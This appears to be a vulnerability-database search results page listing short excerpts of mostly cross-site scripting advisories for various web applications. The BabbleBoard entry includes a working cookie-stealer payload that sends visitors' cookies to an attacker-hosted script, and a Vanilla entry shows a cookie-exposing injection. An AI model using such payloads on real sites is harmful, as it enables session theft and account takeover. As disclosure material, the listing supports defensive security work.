5049 matches found
Active Bids - 'search' Cross-Site Scripting
source: https://www.securityfocus.com/bid/33306/info Active Auction House and Active Auction Pro are prone to SQL-injection and cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied data. Exploiting these issues could allow an attacker to steal cookie-based...
CVE-2003-1567
The undocumented TRACK method in Microsoft Internet Information Services IIS 5.0 returns the content of the original request in the body of the response, which makes it easier for remote attackers to steal cookies and authentication credentials, or bypass the HttpOnly protection mechanism, by usi...
Ovidentia 6.7.5 - index.php Multiple Cross-Site Scripting Vulnerabilities
Ovidentia 6.7.5 - index.php Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/33230/info Ovidentia is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage these...
PT-2009-12: UMI.CMS Cross-Site Scripting Vulnerability
UMI.CMS is a content management system CMS software, usually implemented as a Web application, for creating and managing HTML content. It is used to manage and control a large, dynamic collection of Web material HTML documents and their associated images. Vulnerability Description Positive...
MagpieRSS 0.72 - CDATA HTML Injection
source: https://www.securityfocus.com/bid/33044/info MagpieRSS is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would run in the context of th...
BabbleBoard 1.1.6 - Cross-Site Request Forgery/Cookie Grabber
BabbleBoard v1.1.6 Cookie Grabber Exploit/CSRF + Discovered By SirGod + Greetz : All my friends + Cookie Grabber Exploit - Steal the cookie of any visitor. 1.Register as : document.location ="http://yourdomain/path/stealer.php?cookie=" + document.cookie; Everyone who visit the index page will be...
开心网(kaixin001.com) 好友点歌XSS漏洞
开心网是一个在线社区，通过它您可以与朋友、同学、同事、 家人保持更紧密的联系，及时了解他们的动态；与他们分享你的照片、心情、快乐。 开心网www.kaixin001.com，当你在给好友点歌时，你可以留言，而开心对用户留言的数据没有进行严格过滤，导致攻击者可以提交恶意代码，进行跨站攻击。攻击者利用该漏洞可以盗取开心网用户的cookie，然后利用Cookie欺骗冒充该用户进行账号登录。危害严重。 kaixin001.com 暂无...
PrestaShop 1.1 - order.php?PATH_INFO Cross-Site Scripting
PrestaShop 1.1 - order.php?PATHINFO Cross-Site Scripting source: https://www.securityfocus.com/bid/32689/info PrestaShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary...
Pre Classified Listings 1.0 - 'signup.asp' Cross-Site Scripting
source: https://www.securityfocus.com/bid/32567/info Pre Classified Listings is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user i...
Opera < 9.62 Multiple Vulnerabilities
Binary data 4729.prm...
Habari 0.5.1 - 'habari_username' Cross-Site Scripting
source: https://www.securityfocus.com/bid/31794/info Habari is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the conte...
Microsoft Internet Explorer HTML Element Cross Domain Security Bypass Vulnerability
Description Microsoft Internet Explorer is prone to a cross-domain security-bypass vulnerability because the application fails to properly enforce the same-origin policy. An attacker can exploit this issue to execute arbitrary script code in another browser window's security zone. This may allow...
Google Docs (HTML code) Multiple Cross Site Scripting Vulnerabilities
Google Docs HTML code Multiple Cross Site Scripting Vulnerabilities I. Background: Google Docs is an online application which makes possibile to "Create and share your work online". You can use it to create Documents, Presentations, Spreadsheets and Forms. II. Description: Multiple cross site...
eXtrovert software Thyme 1.3 - 'add_calendars.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/31287/info Thyme is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of t...
Gallery 2.0 - Multiple Cross-Site Scripting Vulnerabilities
Gallery 2.0 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/31060/info Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitra...
@Mail 5.42 and @Mail WebMail 5.0.5 - Multiple Cross-Site Scripting Vulnerabilities
@Mail 5.42 and @Mail WebMail 5.0.5 - Multiple Cross-Site Scripting Vulnerabilities source: https://www.securityfocus.com/bid/30992/info @Mail and @Mail WebMail are prone to multiple cross-site scripting vulnerabilities because the applications fail to properly sanitize user-supplied input. An...
omcd-xssxsrf.txt
======================================================================= . .. | | / / | | | | / \ / / /\ / / \ | | | / / \ /\ \| | / // / /\ \ / / / // http://wwwlowsec.org ======================================================================== Author: C1c4Tr1Z Date: 28/08/08...
OpenDB 1.0.6 - 'user_profile.php?redirect_url' Cross-Site Scripting
source: https://www.securityfocus.com/bid/30989/info Open Media Collectors Database OpenDb is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the browser ...
timetrex-xss.txt
HSC TimeTrex Time and Attendance Cookie Theft TimeTrex allows companies to track and monitor employee attendance accurately in real-time from anywhere in the world. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the...
vanilla-xss.txt
GulfTech Security Research August 19, 2008 Vendor : Mark O'Sullivan URL : http://www.getvanilla.com/ Version : Vanilla alert document.cookie%3B The above example link would display the end users cookie to them. Of course this can also be used to steal the cookie data as mentioned earlier in this...